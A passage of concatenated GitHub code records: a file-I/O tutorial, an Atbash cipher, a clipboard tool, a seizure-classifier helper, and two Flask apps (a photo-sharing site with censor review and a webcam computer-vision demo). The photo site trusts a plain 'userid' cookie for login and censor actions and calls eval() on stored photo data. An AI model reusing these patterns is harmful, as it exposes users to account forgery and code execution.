buttons.keys() - device_state.last_buttons\n\n device_state.last_buttons = buttons\n\n return {\n 'action': 'event',\n 'key': device_state.key,\n 'ts': now,\n 'buttons': buttons,\n '+': add_buttons,\n '-': remove_buttons,\n 'controls': {\n 'pos1': a,\n 'pos2': jog,\n 'pos3': pos\n }\n }\n\n\n","repo_name":"rrx/rxseq","sub_path":"rxseq/devices/shuttlepro.py","file_name":"shuttlepro.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23537908011","text":"# open a file: filevar = open('', ''), mode = r, w, a\n# open a file in a path: filevar = open(r'', '')\n# the first form is recommended for this course, but only works if the file is located in the project folder\n\n# write a string to a file: .write( + '\\n') NOTE: newline is NOT added automatically\n# close a file: .close\n# read entire file: .read()\n# read one line from a file: .readline()\n\n# use .rstrip('\\n') to strip newline from input\n# read/write to a .txt file always uses strings\n\n\n# using a while loop to read input from a file\ndef while_loop_read():\n\tprint(\"====== Use a while loop to read and display the file ======\")\n\tinfile = open('names.txt')\n\tname = infile.readline()\n\n\t# when the end of the file has been reached, readline() returns the empty string\n\twhile name != '':\n\t\tprint(name, end=\"\")\n\t\tname = infile.readline()\n\n\tinfile.close()\n\tprint(\"\")\n\n\n# using a for loop to read the same input file\n# must close it first in order to reset the file pointer (read position)\n# this loop should give the same result as the previous one\ndef for_loop_read():\n\tprint(\"====== Use a for loop to read the same file ======\")\n\tinfile = open('names.txt')\n\n\tfor line in infile:\n\t\t# .strip() removes all whitespace from both sides (spaces, tabs, newlines)\n\t\t# you can also use .rstrip() to strip from right, .lstrip() to strip from left\n\t\t# you can specify specific text to strip with the argument: .strip(\"\\n\")\n\t\tprint(line.strip())\n\t\tprint(\"wobble\")\n\n\tinfile.close()\n\tprint(\"\")\n\n\n# using read() to read the entire file (including newlines) into one long string\n# if you do it this way, you must be prepared to break apart the string\n# and strip newlines to get to the data\ndef read_file_as_one_string():\n\tprint(\"====== Use read() to read the entire file as one string ======\")\n\tinfile = open('names.txt')\n\n\tall_file = infile.read()\n\tprint(all_file, end=\"*\")\n\tprint(type(all_file)) # show the data type of all_file\n\n\tinfile.close()\n\tprint(\"\")\n\n\n# writing a new file, use mode 'w' NOTE: any existing file of the same name will be replaced\ndef write_new_file():\n\tprint(\"====== Create the file test.txt ======\")\n\tout_file = open('test.txt', 'w')\n\tfor n in range(0, 100, 10):\n\t\tout_file.write(format(n, '3d') + '\\n') # format 3 columns width and newline\n\n\tout_file.close()\n\n\n# append to an existing file, use mode 'a'\ndef append_to_file():\n\tprint(\"====== Append data to the file test.txt ======\")\n\tout_file = open('test.txt', 'a')\n\tfor n in range(100, 200, 10):\n\t\tout_file.write(format(n, '3d') + '\\n') # same format as before\n\n\tout_file.close()\n\n\n# to copy and modify a file, use two file variables: one for reading, one for writing\n# for this example, I am using a copy of the original names file\ndef copy_infile_to_outfile():\n\tinfile = open('test.txt', 'r')\n\tout_file = open('test.tmp', 'w')\n\n\tfor line in infile:\n\t\tout_file.write(line)\n\n\tinfile.close()\n\tout_file.close()\n\n\n# all import statements should appear at the top of the file\n# for the purposes of the demo, I am putting it with the related code\ndef system_file_functions():\n\timport os\n\t# now we can delete the old file\n\tos.remove('test.txt')\n\t# and rename the new file to the original name\n\tos.rename('test.tmp', 'test.txt')\n\n\ndef main():\n\twhile_loop_read()\n\tfor_loop_read()\n\tread_file_as_one_string()\n\twrite_new_file()\n\tappend_to_file()\n\tcopy_infile_to_outfile()\n\tsystem_file_functions()\n\n\n# call the main function\nmain()\n","repo_name":"devingrischow/school_year_2021","sub_path":"Python_2021/prg/PycharmProjects/Demos/Demo_M6_Files.py","file_name":"Demo_M6_Files.py","file_ext":"py","file_size_in_byte":3475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27273664429","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\nimport unicodedata\nimport sys\nimport codecs\nimport os\nimport io\nimport os.path as path\nimport base64\nfrom PIL import Image\nimport hashlib\n\nclass Atbash:\n def __init__(self, cod):\n self.__alfabeto = \"\"\n self.__alfClave = \"\"\n self.__codificar = cod\n self.__generar_alfabeto()\n def __generar_alfabeto(self):\n if(self.__codificar==\"S\" or self.__codificar==\"s\"):\n archivo = open(\"alfabeto64.txt\", mode=\"r\")\n else:\n archivo = open(\"alfabeto.txt\", mode=\"r\")\n for caracter in archivo.read():\n self.__alfabeto=self.__alfabeto+caracter\n self.__alfClave=caracter +self.__alfClave\n \n archivo.close()\n \n def cifrar(self): \n archivo = open(sys.argv[4], mode=\"r\", encoding=\"ISO-8859-1\")\n f = open (\"Resultado.CIF\",'w',encoding=\"ISO-8859-1\")\n mensajeCifrado=\"\"\n texto=archivo.read()\n if(self.__codificar==\"S\" or self.__codificar==\"s\"):\n texto=texto.encode(\"utf-8\")\n texto=base64.b64encode(texto)\n texto=texto.decode(\"utf-8\")\n\n for caracter in texto:\n posCaracter = self.__alfabeto.find(caracter)\n mensajeCifrado=mensajeCifrado+self.__alfClave[posCaracter]\n f.write(mensajeCifrado)\n\n archivo.close() \n f.close()\n \n def descifrar(self): \n archivo = open(sys.argv[4], mode=\"r\", encoding=\"ISO-8859-1\")\n texto=archivo.read()\n f = open (\"Resultado.DEC\",'w',encoding=\"ISO-8859-1\")\n mensajeDescifrado=\"\"\n for caracter in texto:\n posCaracter = self.__alfClave.index(caracter)\n mensajeDescifrado=mensajeDescifrado+self.__alfabeto[posCaracter]\n if(self.__codificar==\"S\" or self.__codificar==\"s\"):\n mensajeDescifrado=base64.b64decode(mensajeDescifrado)\n mensajeDescifrado=mensajeDescifrado.decode(\"utf-8\")\n f.write(mensajeDescifrado)\n archivo.close() \n f.close()\n\n \n \n ","repo_name":"davinsonMellizo/Algoritmos-Criptograficos","sub_path":"Main/Atbash.py","file_name":"Atbash.py","file_ext":"py","file_size_in_byte":2062,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1814094778","text":"# multiclipboard.py\r\n# inspired by Tech With Tim\r\n# https://www.youtube.com/watch?v=Oz3W-LKfafE\r\n\r\nimport sys, json, pyperclip\r\n\r\nSAVED_DATA_FILE = 'clipboard.json'\r\n\r\ndef save_data(data: dict) -> None:\r\n global SAVED_DATA_FILE\r\n try:\r\n with open(SAVED_DATA_FILE, 'wb') as fh:\r\n fh.write(json.dumps(data).encode())\r\n except OSError as e:\r\n print(\"Could not saved data\")\r\n print(e)\r\n\r\ndef load_data() -> dict:\r\n global SAVED_DATA_FILE\r\n try:\r\n with open(SAVED_DATA_FILE, 'rb') as fh:\r\n return json.loads(fh.read())\r\n except:\r\n return {}\r\n\r\ndef usage() -> None:\r\n print(f\"usage: {sys.argv[0]} [key]\\n\")\r\n print(\"available commands:\")\r\n print(\" save - save data from clipboard\")\r\n print(\" load - load data to clipboard\")\r\n print(\" list - list saved clipboard data\")\r\n print(\" delete - delete data\")\r\n\r\n\r\nif not len(sys.argv[1:]):\r\n usage()\r\nelse:\r\n data = load_data()\r\n command = sys.argv[1]\r\n if command not in ('save', 'load', 'list', 'delete'):\r\n usage()\r\n else:\r\n if command == 'list':\r\n for k, v in data.items():\r\n print(f\"{k}: {v}\")\r\n quit()\r\n if len(sys.argv[2:]):\r\n key = sys.argv[2]\r\n else:\r\n key = input(\"Enter a key: \")\r\n if command == 'save':\r\n data[key] = pyperclip.paste()\r\n save_data(data)\r\n print(f\"Data saved under a key '{key}' in file '{SAVED_DATA_FILE}'\")\r\n elif command == 'load':\r\n if key in data:\r\n pyperclip.copy(data[key])\r\n print(\"Data copied to clipboard\")\r\n else:\r\n print(f\"Key '{key}' does not exist in multiclipboard\")\r\n elif command == 'delete':\r\n if key in data:\r\n del data[key]\r\n save_data(data)\r\n print(f\"Data under key '{key}' deleted\")\r\n","repo_name":"arkregiel/multi-clipboard","sub_path":"multiclipboard.py","file_name":"multiclipboard.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27742996796","text":"import sklearn.model_selection\nimport tensorflow as tf\nfrom sklearn.metrics import confusion_matrix\nfrom Classes2 import ImagemEntrada\n\n\ndef treina_rede(entradas: ImagemEntrada, saidas):\n\n # tf.keras.utils.normalize(entradas)\n\n X_train, X_test, y_train, y_test = sklearn.model_selection.train_test_split(\n entradas, saidas, test_size=0.30\n )\n\n model = tf.keras.models.load_model(\"meu_modelo\")\n\n model.fit(\n X_train,\n y_train,\n batch_size=32,\n validation_data=(X_test, y_test),\n epochs=20,\n verbose=1,\n )\n\n # model.train_on_batch(entradas, saidas)\n\n model.save(\"meu_modelo\")\n\n\ndef classifica_dados(entradas: ImagemEntrada, saidas):\n\n model = tf.keras.models.load_model(\"meu_modelo\")\n\n # tf.keras.utils.normalize(entradas)\n\n predictions = (model.predict(entradas, batch_size=10, verbose=1) > 0.5).astype(\n \"int32\"\n )\n\n cm = confusion_matrix(saidas, predictions)\n\n return cm\n\n\ndef classifica_sem_saidas(entradas: ImagemEntrada):\n\n model = tf.keras.models.load_model(\"meu_modelo\")\n\n predictions = (model.predict(entradas, batch_size=10, verbose=0) > 0.5).astype(\n \"int32\"\n )\n\n return predictions\n","repo_name":"natuneuro/Seizure-Detection-Python","sub_path":"Modulos2/UsaRede.py","file_name":"UsaRede.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16790403649","text":"# **************************************************************************** #\n# #\n# ::: :::::::: #\n# Decoding_layer.py :+: :+: :+: #\n# +:+ +:+ +:+ #\n# By: ebennace ')\ndef user_details(id):\n \"\"\"\n the home page of each user\n :param id: the id of the user\n \"\"\"\n user = User.query.get(id)\n\n print('>>>>>>>>>>user>>>>>>>>')\n print(user)\n print('>>>>>>>>>>user>>>>>>>>')\n\n user_name = user.username\n user_email = user.emailaddr\n\n # get the works of the user that is posted\n works_list = Works.query.filter(and_(Works.editor_id == id, Works.checked == 1)).all()\n\n works_id_list, works_title_list, works_description_list, works_posttime_list = \\\n get_info_of_works(works_list)\n\n return render_template('user/details.html',\n user_name=user_name,\n user_email=user_email,\n works_id_list=works_id_list,\n works_title_list=works_title_list,\n works_description_list=works_description_list,\n works_posttime_list=works_posttime_list)\n\n\n@user_bp.route('/upload', methods=['GET', 'POST'])\ndef upload():\n # cookie 方式获取\n userid = request.cookies.get('userid')\n\n # 处于登陆则继续,否则去登陆\n if userid:\n if request.method == 'POST':\n user = User.query.get(userid)\n\n title = request.form.get('title')\n description = request.form.get('description')\n text = request.form.get('text')\n\n file_list = request.files.getlist('files')\n\n print(file_list)\n\n validate_types = ['png', 'jpeg', '.JPEG', 'jpg']\n\n if not file_list:\n return '上传失败,请至少选择一张图片'\n\n for file in file_list:\n filetype = file.filename.split('.')[-1]\n if filetype not in validate_types:\n return '上传失败,仅限于png, jpeg, jpg文件'\n\n # 给作品一个随机id\n works_id = random.randint(0, 100000)\n works_db = Works.query.get(works_id)\n\n # 只到数据库没有该标号的时候退出循环\n while works_db:\n works_id = random.randint(0, 100000)\n works_db = Works.query.get(works_id)\n\n # 图片存放路径\n save_dir = 'static/photos/user' + str(userid) + '/works' + str(works_id) + '/'\n if not os.path.exists(save_dir):\n os.makedirs(save_dir)\n\n file_urls_list = []\n for file in file_list:\n filename = secure_filename(''.join(lazy_pinyin(file.filename)))\n\n # 保存图片\n file.save(os.path.join(save_dir, filename))\n\n # 记录每张图片的路径\n file_urls_list.append(os.path.join('../../', save_dir, filename))\n\n # 调试语句\n print(filename)\n print(os.path.join(save_dir, filename))\n print('成功上传')\n\n db_photos_dict = {}\n i = 1\n for file_url in file_urls_list:\n db_photos_dict[i] = file_url\n i += 1\n\n db_photos_json = json.dumps(db_photos_dict)\n\n works = Works(id=works_id,\n title=title,\n description=description,\n text=text,\n upload_time=datetime.now(),\n photos=db_photos_json,\n editor_id=int(userid),\n checked=0)\n\n db.session.add(works)\n db.session.commit()\n\n # 调试语句\n print(db_photos_dict)\n print('>>>>>>>>')\n print(db_photos_json)\n print(len(file_urls_list))\n\n return render_template('user/upload.html', msg='上传成功')\n\n else:\n return render_template('user/upload.html', msg='上传失败')\n\n else:\n return render_template('home/login.html', msg='投稿前需登录')\n\n\n@user_bp.route('/search', methods=['GET', 'POST'])\ndef search():\n if request.method == 'POST':\n search_condition = request.form.get('search_condition')\n\n print('>>>>>>search_condition>>>>>>')\n print('>>>>>>search_condition>>>>>>')\n print(search_condition)\n print('>>>>>>search_condition>>>>>>')\n print('>>>>>>search_condition>>>>>>')\n\n users_list = User.query.filter(or_(User.id == search_condition, User.username == search_condition)).all()\n works_list = Works.query.filter(or_(Works.id == search_condition, Works.title == search_condition)).all()\n # works_list = Works.query.filter(or_(Works.id == search_condition, Works.title == search_condition), Works.checked == 1).all()\n\n works_editor_dict = {}\n works_coverage_dict = {}\n for works in works_list:\n works_editor_dict[works.id] = User.query.get(Works.query.get(works.id).editor_id)\n works_coverage_dict[works.id] = list(eval(works.photos.strip('\"')).values())[0]\n print('>>>>>>>>')\n\n return render_template('user/search_res.html',\n users_list=users_list,\n works_list=works_list,\n search_condition=search_condition,\n works_editor_dict=works_editor_dict,\n works_coverage_dict=works_coverage_dict)\n\n return render_template('home/orca.html')\n\n\n@censor_bp.route('/')\ndef censor_details(id):\n \"\"\"\n the home page of each censor\n :param id:\n \"\"\"\n censor = Censor.query.get(id)\n\n unchecked_works_list = Works.query.filter(Works.checked == 0).all()\n\n unchecked_works_id_list, unchecked_works_title_list, \\\n unchecked_works_description_list, unchecked_works_posttime_list = \\\n get_info_of_works(unchecked_works_list)\n\n return render_template('censor/check.html',\n censor=censor,\n unchecked_works_list=unchecked_works_list,\n unchecked_works_id_list=unchecked_works_id_list,\n unchecked_works_title_list=unchecked_works_title_list,\n unchecked_works_description_list=unchecked_works_description_list,\n unchecked_works_posttime_list=unchecked_works_posttime_list)\n\n\n# all the unchecked works page\n@censor_bp.route('/check')\ndef censor_check():\n censor_id = request.cookies.get('userid')\n unchecked_works_list = Works.query.filter(Works.checked == 0).all()\n\n works_editor_dict = {}\n works_coverage_dict = {}\n for works in unchecked_works_list:\n works_editor_dict[works.id] = User.query.get(Works.query.get(works.id).editor_id)\n works_coverage_dict[works.id] = list(eval(works.photos.strip('\"')).values())[0]\n\n return render_template('censor/check.html',\n unchecked_works_list=unchecked_works_list,\n works_editor_dict=works_editor_dict,\n works_coverage_dict=works_coverage_dict)\n\n\n# the page of each unchecked works\n@censor_bp.route('/works_check/')\ndef works_check(id):\n\n works = Works.query.get(id)\n\n # get the details of the works\n photos_dict = eval(works.photos.strip('\"'))\n works_title = works.title\n works_description = works.description\n post_time = works.post_time\n text = works.text\n editor_id = works.editor_id\n\n # get the editor name\n editor = User.query.get(editor_id)\n editor_name = editor.username\n\n # get the photos addresses list\n photos_addrs = list(photos_dict.values())\n print('>>>>>>>photo_addrs>>>>>>>')\n print(photos_addrs)\n print('>>>>>>>photo_addrs>>>>>>>')\n\n # get the comment list\n comment_list = Comment.query.filter(Comment.works_id == id).all()\n\n # get the (comment, user) list\n comment_user_list = []\n for comment in comment_list:\n comment_user = User.query.get(comment.user_id)\n comment_user_list.append((comment.content, comment_user.username))\n\n return render_template('works/works_check.html',\n works_id=id,\n works_title=works_title,\n works_description=works_description,\n post_time=post_time,\n text=text,\n editor_name=editor_name,\n photos_addrs=photos_addrs,\n comment_user_list=comment_user_list)\n\n\n# process of the check\n@censor_bp.route('/works/works_check', methods=['GET', 'POST'])\ndef check_check():\n censor_id = request.cookies.get('userid')\n\n if censor_id is None:\n return render_template('home/login.html', msg='审查员未登录')\n\n if request.method == 'POST':\n\n checked_works_id = request.form.get('checked')\n print('>>>>>>>>>>>>>>>>check_works>>>>>>>>>>>>>>>>>')\n print('>>>>>>>>>>>>>>>>check_works>>>>>>>>>>>>>>>>>')\n print('>>>>>>>>>>>>>>>>check_works>>>>>>>>>>>>>>>>>')\n print('>>>>>>>>>>>>>>>>check_works>>>>>>>>>>>>>>>>>')\n print(checked_works_id.split('_', 1))\n print('>>>>>>>>>>>>>>>>check_works>>>>>>>>>>>>>>>>>')\n print('>>>>>>>>>>>>>>>>check_works>>>>>>>>>>>>>>>>>')\n print('>>>>>>>>>>>>>>>>check_works>>>>>>>>>>>>>>>>>')\n print('>>>>>>>>>>>>>>>>check_works>>>>>>>>>>>>>>>>>')\n\n checked = int(checked_works_id.split('_', 1)[0])\n works_id = int(checked_works_id.split('_', 1)[1])\n\n works = Works.query.get(works_id)\n\n print('>>>>>>>>>>>>>>>>>>>>>check>>>>>>>>>>>>>>>>>>>>')\n print('>>>>>>>>>>>>>>>>>>>>>check>>>>>>>>>>>>>>>>>>>>')\n print('censor_id', censor_id)\n print('works_id', works_id)\n print('works', works)\n print('checked', checked)\n print('>>>>>>>>>>>>>>>>>>>>>check>>>>>>>>>>>>>>>>>>>>')\n print('>>>>>>>>>>>>>>>>>>>>>check>>>>>>>>>>>>>>>>>>>>')\n\n if checked == 1:\n works.checked = checked\n works.censor_id = censor_id\n works.post_time = datetime.now()\n db.session.commit()\n else:\n works.checked = checked\n works.censor_id = censor_id\n db.session.commit()\n\n return redirect(url_for('censors.censor_check'))\n\n return render_template('censor/check.html', msg='操作失败')\n","repo_name":"Jasonjyl/TheOrca","sub_path":"TheOrca/apps/users/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":11629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5070436618","text":"from flask import Flask, make_response, render_template, Response\nimport cv2\nimport side_face_detection as sfd\nimport Drowsyness as dwsy\nfrom PIL import Image as im\nfrom flask import Markup\nimport os\nimport mediapipe as mp\nimport rebs_estimation as rebe\nimport aug\nimport iris_detection as ird\nimport brightness_control as bc\nimport air_canvas as acc\nfrom collections import deque\nimport numpy as np\nimport torch\nimport web\nimport object_detect as objd\napp = Flask(__name__)\ncamera = cv2.VideoCapture(0)\n\npicFolder = os.path.join('static', 'pics')\napp.config['UPLOAD_FOLDER'] = picFolder\n\nmp_face_mesh = mp.solutions.face_mesh\nface_mesh = mp_face_mesh.FaceMesh(max_num_faces=1, refine_landmarks=True, min_detection_confidence=0.5, min_tracking_confidence=0.5)\niris_list=[face_mesh]\ndef side_face_iris():\n while True:\n\n # read the camera frame\n success, frame = camera.read()\n if not success:\n break\n else:\n frame1 = sfd.side_face_detector(frame)\n frame1 = cv2.flip(frame1,1)\n frame2 = ird.iris_estimation(frame1,iris_list)\n # data = im.fromarray(frame)\n\n ret, buffer = cv2.imencode('.jpg', frame2)\n frame2 = buffer.tobytes()\n\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame2 + b'\\r\\n')\n\nsleep = 0\ndrowsy = 0\nactive = 0\nstatus = \"\"\ncolor = (0, 0, 0)\n\ndrowsy_list = [sleep, drowsy, active, status, color]\n\ndef drowsy_face():\n while True:\n\n # read the camera frame\n success, frame = camera.read()\n if not success:\n break\n else:\n frame1 = dwsy.drowsyness_detector(frame, drowsy_list)\n # data = im.fromarray(frame)\n ret, buffer = cv2.imencode('.jpg', frame1)\n frame2 = buffer.tobytes()\n\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame2 + b'\\r\\n')\n\n\n\nstressed_max = 0\nstressed_moderate = 0\nstress_min = 0\nstatusbc = \"\"\ncolorbc = (0, 0, 0)\n\nbrightness_list = [stressed_max, stressed_moderate, stress_min, statusbc, colorbc]\n\n\ndef brightness_control():\n while True:\n\n # read the camera frame\n success, frame = camera.read()\n if not success:\n break\n else:\n frame1 = bc.brightness_contoller(frame, brightness_list)\n # data = im.fromarray(frame)\n ret, buffer = cv2.imencode('.jpg', frame1)\n frame2 = buffer.tobytes()\n\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame2 + b'\\r\\n')\n\n\n\n\n\n\n\n\nmp_drawing = mp.solutions.drawing_utils\nmp_pose = mp.solutions.pose\ncounter = 0 \nstage = None\npose = mp_pose.Pose(min_detection_confidence=0.5, min_tracking_confidence=0.5)\npose_list = [pose,counter,stage]\n\n\ndef pose_rebs():\n while True:\n\n # read the camera frame\n success, frame = camera.read()\n if not success:\n break\n else:\n frame1 = rebe.pose_estimation(frame,pose_list)\n # data = im.fromarray(frame)\n ret, buffer = cv2.imencode('.jpg', frame1)\n frame2 = buffer.tobytes()\n\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame2 + b'\\r\\n')\n\n\n\n\n\n\nMIN_MATCHES = 20\ndetector = cv2.ORB_create(nfeatures=5000)\n\nFLANN_INDEX_KDTREE = 1\nindex_params = dict(algorithm = FLANN_INDEX_KDTREE, trees = 5)\nsearch_params = dict(checks=100)\nflann = cv2.FlannBasedMatcher(index_params,search_params)\naugment_list2 = [MIN_MATCHES,detector,FLANN_INDEX_KDTREE,index_params,search_params,flann]\n\ninput_image = cv2.imread('static\\\\pics\\\\vk.jpg')\ninput_image = cv2.flip(input_image,1)\naugment_image = cv2.imread('static\\\\pics\\\\DULOGO.jpg')\n\ninput_image = cv2.resize(input_image, (300,400),interpolation=cv2.INTER_AREA)\naugment_image = cv2.resize(augment_image, (300,400))\ngray_image = cv2.cvtColor(input_image, cv2.COLOR_BGR2GRAY)\n\nkeypoints, descriptors = detector.detectAndCompute(gray_image, None)\naugment_list = [gray_image,augment_image,keypoints, descriptors]\n\n\ndef aug_mask():\n while True:\n\n # read the camera frame\n success, frame = camera.read()\n if not success:\n break\n else:\n frame=cv2.flip(frame,1)\n frame1 = aug.augment_detector(frame,augment_list,augment_list2)\n # data = im.fromarray(frame)\n ret, buffer = cv2.imencode('.jpg', frame1)\n frame2 = buffer.tobytes()\n\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame2 + b'\\r\\n')\n\n\n\nbpoints = [deque(maxlen=1024)]\ngpoints = [deque(maxlen=1024)]\nrpoints = [deque(maxlen=1024)]\nypoints = [deque(maxlen=1024)]\nblue_index = 0\ngreen_index = 0\nred_index = 0\nyellow_index = 0\nkernel = np.ones((5,5),np.uint8)\ncolors = [(255, 0, 0), (0, 255, 0), (0, 0, 255), (0, 255, 255)]\ncolorIndex = 0\n\nair_list=[bpoints,gpoints,rpoints,ypoints,blue_index,green_index,red_index,yellow_index,kernel,colors,colorIndex]\n\ndef air_canva():\n while True:\n\n # read the camera frame\n success, frame = camera.read()\n if not success:\n break\n else:\n frame1 = acc.colour_detector(frame,air_list)\n # data = im.fromarray(frame)\n ret, buffer = cv2.imencode('.jpg', frame1)\n frame2 = buffer.tobytes()\n\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame2 + b'\\r\\n')\n\n\n\nmodel = torch.hub.load('ultralytics/yolov5', 'yolov5s', pretrained=True)\nweb_list = [model]\ndef web_search():\n while True:\n\n # read the camera frame\n success, frame = camera.read()\n if not success:\n break\n else:\n frame1 = web.wb_search(frame,web_list)\n # data = im.fromarray(frame)\n ret, buffer = cv2.imencode('.jpg', frame1)\n frame2 = buffer.tobytes()\n\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame2 + b'\\r\\n')\n\n\n\nmodel1 = torch.hub.load('ultralytics/yolov5', 'yolov5s', pretrained=True)\nobj_list = [model1]\ndef objj_search():\n while True:\n\n # read the camera frame\n success, frame = camera.read()\n if not success:\n break\n else:\n frame1 = objd.obj_search(frame,obj_list)\n # data = im.fromarray(frame)\n ret, buffer = cv2.imencode('.jpg', frame1)\n frame2 = buffer.tobytes()\n\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame2 + b'\\r\\n')\n\n\n\n@app.route('/')\ndef index():\n img = os.path.join(app.config['UPLOAD_FOLDER'], 'head.svg')\n img1 = os.path.join(app.config['UPLOAD_FOLDER'], 'head2.svg')\n img2 = os.path.join(app.config['UPLOAD_FOLDER'], 'footer.svg')\n img3 = os.path.join(app.config['UPLOAD_FOLDER'], 'symbol.svg')\n return render_template('index.html', head=img, footer=img2, symbol=img3, head2=img1)\n\n\n@app.route('/AIbox')\ndef AIbox():\n img = os.path.join(app.config['UPLOAD_FOLDER'], 'head.svg')\n img1 = os.path.join(app.config['UPLOAD_FOLDER'], 'head2.svg')\n img2 = os.path.join(app.config['UPLOAD_FOLDER'], 'footer.svg')\n img3 = os.path.join(app.config['UPLOAD_FOLDER'], 'symbol.svg')\n return render_template('AIbox.html', head=img, footer=img2, symbol=img3, head2=img1)\n\n\n@app.route('/Quizes')\ndef Quizes():\n img = os.path.join(app.config['UPLOAD_FOLDER'], 'head.svg')\n img1 = os.path.join(app.config['UPLOAD_FOLDER'], 'head2.svg')\n img2 = os.path.join(app.config['UPLOAD_FOLDER'], 'footer.svg')\n img3 = os.path.join(app.config['UPLOAD_FOLDER'], 'symbol.svg')\n return render_template('Quizes.html', head=img, footer=img2, symbol=img3, head2=img1)\n\n\n@app.route('/quiz')\ndef quiz():\n img = os.path.join(app.config['UPLOAD_FOLDER'], 'head.svg')\n img1 = os.path.join(app.config['UPLOAD_FOLDER'], 'head2.svg')\n img2 = os.path.join(app.config['UPLOAD_FOLDER'], 'footer.svg')\n img3 = os.path.join(app.config['UPLOAD_FOLDER'], 'symbol.svg')\n return render_template('quizPage.html', head=img, footer=img2, symbol=img3, head2=img1)\n\n@app.route('/aboutus')\ndef aboutus():\n img = os.path.join(app.config['UPLOAD_FOLDER'], 'head.svg')\n img1 = os.path.join(app.config['UPLOAD_FOLDER'], 'head2.svg')\n img2 = os.path.join(app.config['UPLOAD_FOLDER'], 'footer.svg')\n img3 = os.path.join(app.config['UPLOAD_FOLDER'], 'symbol.svg')\n return render_template('AboutUs.html', head=img, footer=img2, symbol=img3, head2=img1)\n\n\n@app.route('/Practice')\ndef Practice():\n img = os.path.join(app.config['UPLOAD_FOLDER'], 'head.svg')\n img1 = os.path.join(app.config['UPLOAD_FOLDER'], 'head2.svg')\n img2 = os.path.join(app.config['UPLOAD_FOLDER'], 'footer.svg')\n img3 = os.path.join(app.config['UPLOAD_FOLDER'], 'symbol.svg')\n return render_template('Practice.html', head=img, footer=img2, symbol=img3, head2=img1)\n\n\n@app.route('/Courses')\ndef Courses():\n img = os.path.join(app.config['UPLOAD_FOLDER'], 'c1.webp')\n img0 = os.path.join(app.config['UPLOAD_FOLDER'], 'symbol.svg')\n img1 = os.path.join(app.config['UPLOAD_FOLDER'], 'c2.jpg')\n img2 = os.path.join(app.config['UPLOAD_FOLDER'], 'c3.jpg')\n img3 = os.path.join(app.config['UPLOAD_FOLDER'], 'c4.png')\n img4 = os.path.join(app.config['UPLOAD_FOLDER'], 'c5.png')\n img5 = os.path.join(app.config['UPLOAD_FOLDER'], 'c6.png')\n imgf = os.path.join(app.config['UPLOAD_FOLDER'], 'footer.svg')\n\n return render_template('Courses.html', footer=imgf, symbol=img0, c1=img, c2=img2, c3=img3, c4=img1, c5=img4, c6=img5)\n\n\n@app.route('/interview')\ndef interview():\n img0 = os.path.join(app.config['UPLOAD_FOLDER'], 'symbol.svg')\n img2 = os.path.join(app.config['UPLOAD_FOLDER'], 'footer.svg')\n return render_template('interview.html', symbol=img0,footer=img2)\n\n\n@app.route('/nightstudy')\ndef nightstudy():\n img2 = os.path.join(app.config['UPLOAD_FOLDER'], 'footer.svg')\n return render_template('nightstudy.html',footer=img2)\n\n\n@app.route('/aircanva')\ndef aircanva():\n img2 = os.path.join(app.config['UPLOAD_FOLDER'], 'footer.svg')\n return render_template('Aircanvass.html',footer=img2) \n\n@app.route('/PoseRebs')\ndef poserebs():\n img2 = os.path.join(app.config['UPLOAD_FOLDER'], 'footer.svg')\n return render_template('poserebs.html',footer=img2) \n\n@app.route('/Augmentation')\ndef Augment():\n img2 = os.path.join(app.config['UPLOAD_FOLDER'], 'footer.svg')\n return render_template('Augment.html',footer=img2) \n\n@app.route('/Brightness')\ndef Brightness():\n img2 = os.path.join(app.config['UPLOAD_FOLDER'], 'footer.svg')\n return render_template('brightness.html',footer=img2) \n\n@app.route('/Object')\ndef Object():\n img2 = os.path.join(app.config['UPLOAD_FOLDER'], 'footer.svg')\n return render_template('Objectdetect.html',footer=img2) \n\n@app.route('/Web')\ndef Web():\n img2 = os.path.join(app.config['UPLOAD_FOLDER'], 'footer.svg')\n return render_template('WebSearch.html',footer=img2) \n\n\n@app.route('/videoforInterview')\ndef videoforInterview():\n frame = Response(\n side_face_iris(), mimetype='multipart/x-mixed-replace; boundary=frame')\n return frame\n\n\n@app.route('/videoforNightstudy')\ndef videoforNightstudy():\n frame = Response(\n drowsy_face(), mimetype='multipart/x-mixed-replace; boundary=frame')\n return frame\n\n\n\n\n\n@app.route('/videoforPoseRebs')\ndef videoforPoseRebs():\n frame = Response(\n pose_rebs(), mimetype='multipart/x-mixed-replace; boundary=frame')\n return frame\n\n@app.route('/videoforAug')\ndef videoforAug():\n frame = Response(\n aug_mask(), mimetype='multipart/x-mixed-replace; boundary=frame')\n return frame\n\n@app.route('/videoforBrightness')\ndef videoforBrightness():\n frame = Response(\n brightness_control(), mimetype='multipart/x-mixed-replace; boundary=frame')\n return frame\n\n\n\n@app.route('/videoforAircanvas')\ndef videoforAircanvas():\n frame = Response(\n air_canva(), mimetype='multipart/x-mixed-replace; boundary=frame')\n return frame\n\n@app.route('/videoforWeb')\ndef videoforWeb():\n frame = Response(\n web_search(), mimetype='multipart/x-mixed-replace; boundary=frame')\n return 